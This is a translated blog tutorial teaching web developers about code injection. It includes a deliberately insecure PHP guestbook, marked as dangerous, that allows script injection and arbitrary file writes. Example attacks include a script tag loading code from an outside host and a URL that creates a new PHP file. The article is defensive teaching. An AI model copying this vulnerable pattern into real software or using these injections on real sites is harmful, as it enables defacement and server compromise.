Security and Web sites: Code Injection

After talking about safety on the web in general, and having observed the enormous complexity behind the simple navigation of a website, you’ll realize it’s impossible to guarantee total security. But as web sites developers we can do much, starting with making our HTML more robust – without forgetting Javascript, PHP and all other languages that we have to manage in a web site. Securing our code is the first step, and that in which we, as creators of web sites, have more control (and responsibility). How?

The first thing to avoid is to think solely in terms of HTML. A website is a work that incorporates many languages (using a definition of language a bit wider than computer science one, purists don’t be offended):

  • html / http
  • javascript
  • css
  • php
  • sql
  • command shell / file system
  • Regular Expressions

In creating a website, I actually intersect and connect with each other all these languages: I create HTML and CSS starting from PHP, I create SQL queries and dynamic regular expressions,  perhaps through Javascript, I even execute system commands (though not everyone realize it!). The ease with which we do it often is such that we can even place a few phone calls while we arrange and compose in seven different languages…

This intersection and overlap is the power of the languages of the Web, especially because we can determine what and how to intersect based on user requests, which can interact via form or url, or a database. I get my form from html, save the data by generating an SQL INSERT command, then use some other SQL to retrieve them and display them as HTML and JavaScript on another page: the classic cycle of the blog, without realizing that we’ve used and intersected at least three or four different languages, with your input coming from two different sources!

But the intersection of languages and user input hides the danger of today’s major websites: the code injection.

Code Injection

This term indicates the addition of unexpected code within a website, to alter the functioning or appearance (the common usage of the term implies malicious use, intentional or not). The code injection comes from switching from one language to another place using user data (php to html, php, javascript, sql html, etc). User data, which can be written as a url on the client, or stored in some way (filling forms, etc.) in a database or file system and then uploaded then are the causes that trigger the code injection, hence the place we have to control.

Is the number one enemy, the main cause of the vast majority of the defacements, and a serious risk considering how often and in how many different ways you can switch from one language to another and perhaps even change notations. Just think in how many different notations you can use for Javascript:

inline code:

<script type="text/javascript">
 alert("hello!");
</script>

external code:

<script type="text/javascript"  src="hello.js"></script>

closure:

<script type="text/javascript">
(function hello(){
    alert("Hello!");
})();
</script>

JSON:

var object = {
   key:  "value",
    method: function() {
        alert("Hello!");
    }
};

Notations that can be dynamic and created by PHP:

<?php
        $message = "hello";
?>
<script type="text/javascript">
(function hello(){
    alert("<?php echo $message?>");
})();
</script>

And maybe generate HTML and JavaScript, or JavaScript that … generates HTML:

<?php
        $message = "hello";
?>
<script type="text/javascript">
function hello(){
    $("a.hello").html("<b><?php echo $message?></b>");
};
</script>

In that trivial case, see that we have just intersected three languages between them! Did you ever think in these terms?

An easy target

Why the code injection is so popular?

First, because the cause that can trigger it (languages intersection + input) can emerge in many different points in virtually any HTML page. We have already seen this, and for a confirmation let’s take a look to any dynamic website …

Secondly, because it is often something that requires a “computer science” attention to what you write to avoid it: very often the average web designer is much more a technical artist, and is widely used in the cut and paste of parts of code which he ignores why they work – but they work, and this is enough: the pirate treasures of this argument.

Third, because of the economic limits we are (often rightly) asked to comply, we have to frequently use public modules like CMS, frameworks, libraries, sometimes very large and well known, hence statistically more likely to be preys – so likely that the majority of attacks on public modules is even scripted, without human intervention. Yes, your site has been conquered by a program, not brilliant crackers!

Web sites today have sometimes reached, talking  about code, staggering levels of complexity, and complexity is often difficult to manage, especially (but not only …) for those who are beginners. Thus, sometimes it just happens that we inadvertently create channels that lead directly from the browser (in enemy hands!) to the code of our site. Let’s make an awful example (DO NOT USE THIS CODE!)

<?php
    // WARNING: DANGEROUS CODE - DO NOT DO THIS
    // WARNING: DANGEROUS CODE - DO NOT COPY THIS
    // WARNING: DANGEROUS CODE - DO NOT USE THIS

    $how = stripslashes($_REQUEST["how"]);
    $text = stripslashes($_REQUEST["text"]);

    if ($fp = fopen("hole/$how","a")) {
        fwrite($fp, "$text<br /><br />");
        fclose($fp);
    }
    readfile("hole/$how");
?>
<br />
GUESTBOOK<br />
Leave your message!:<br />
<form method="post" action="#">
    <textarea name="text" rows="10" cols="80"></textarea><br />
    <input type="submit" /><br />
    How you like this guestbook?<br />
    <input type="radio" name="how" value="much" />Very much</input><br />
    <input type="radio" name="how" value="mah" checked="checked"/>I'm crazy for it!</input><br />
</form>

Call it guestbook.php. Imagine being part of the site http://www.shameful.it

Very popular in the 90s, the guestbook, forerunner of blogs, allowed to leave messages on websites – and in many cases was the easiest way to seize the site. If you think a code as above has never been used – you’re wrong, totally wrong.

The weaknesses here are two:

1 – The value of the text area is displayed directly on the site (transition from PHP to HTML from user input file before writing and reading). Until that contains normal text, no problem, but if accidentally (or with malicious purposes) instead of a nice greeting message it contains an HTML tag, that’s added without batting an eye at the top of your page – more or altering less radically, imagine if the tag was something like:

<script src="http://verystrangeurl/xxxslotmachine.js"></script>

which launches a script that would replace the entire DOM of the site with “other” … you will find “other” in the browser – and it would be under your customer’s nice domain name!

2 – the value of the radio field is used as filename – directly. Some may think “it’s a radio field, and I decide the values!” …. but the server does not distinguish between radio, checkbox, text area … are all texts! So much so that we can call our script with values on the url:

http://www.shameful.it/guestbook.php?how=much&text=hello

and it works perfectly. And this would work too:

http://www.shameful.it/guestbook.php?how=index2.php&text=hacked%by%20me

creating a beautiful new php file. This is because I trust my client javascript, and I don’t check the values it passes! And what if, instead of a new file, that command overwrites random parts of my site because maybe the web server has write permissions to areas where it shouldn’t? Often, the code injection is not just a simple HTML problem, but it creates a real backdoor to the entire site, if not the entire server, triggering a domino effect on all other links in the chain.

The most common question

When I explain these concepts, the most natural question that comes to my statements is this:

“No one but me has the site’s code! They don’t know what to attack!”

This may not be true – it is easily possible that others may have seen your code, perhaps because the server ftp reseller web space is poorly configured and everyone can see the files of other users including your php, or because it was infiltrated and is in all respects in the hands of the enemy, who waits for you to move to a new web server to be able to follow … Never draw conclusions on security relying on alleged secrecy!

Or it may be true – but hidden in your html there are always traces, like how the field are named in the form, the javascript code that generates any ajax calls, all of which can be used through brute force – just try to pass values “odd” fields and see how the site behaves. It’s not really necessary to know the site’s code!

In conclusion

I close this article noting that, once again, at the foundation of all there is always a problem of unjustified trust: I trust the browser, I trust my javascript, I trust my expert knowledge of HTML and HTTP (the radio buttons example), I trust my ability to write secure code, I trust the security of my web space.

In the next article I will present some simple programming techniques that, when used properly, will significantly reduce your chances of being victims of code injection – at least in the code written by us, public modules are a different matter.

Index

Security and Web sites

Introduction

Website security: what does it mean, and why you shouldn’t underestimate it?

What lies behind your site?

Keep your code safe

Code Injection: what is it and where to find it

Master per Web Designer Freelance
In tutti questi anni abbiamo ricevuto centinaia di richieste di approfondimento sulle numerose tematiche del web design vissuto da freelance. Le abbiamo affrontate volta per volta. Ma ci siamo resi conto che era necessario fare qualcosa di più. Ecco perché è nato One Year Together, un vero e proprio master per web designer freelance che apre finalmente le porte al mondo del lavoro.
Scopri One Year Together »
[pdf]Scarica articolo in PDF[/pdf]
Tags: ,

The Author

Cristian is a freelance computer, specialized in the design and production of websites and, more generally, technology and Internet related mischief.

Author's web site | Other articles written by

Related Posts

You may be interested in the following articles:

7 comments

Trackback e pingback

  1. Tweets that mention Security and Web sites: Code Injection | Your Inspiration Web -- Topsy.com
    [...] This post was mentioned on Twitter by soshableweb and V. Tavares (E-Goi). V. Tavares (E-Goi) said: Security and Web …
  2. Weekly Design News – Resources, Tutorials and Freebies (N.45) - Speckyboy Design Magazine
    [...] Beginner’s Guide to Design PatternsMicrosoft WebMatrixPublic Enemy Number One: Bad UsabilitySecurity and Web sites: Code Injection30 Useful Frameworks for …
  3. Weekly Design News – Resources, Tutorials and Freebies (N.45) | Programming Blog
    [...] Security and Web sites: Code Injection [...]
  4. Weekly Design News – Resources, Tutorials and Freebies (N.45) « Vision
    [...] Security and Web sites: Code Injection [...]

Leave a Reply

Current day month ye@r *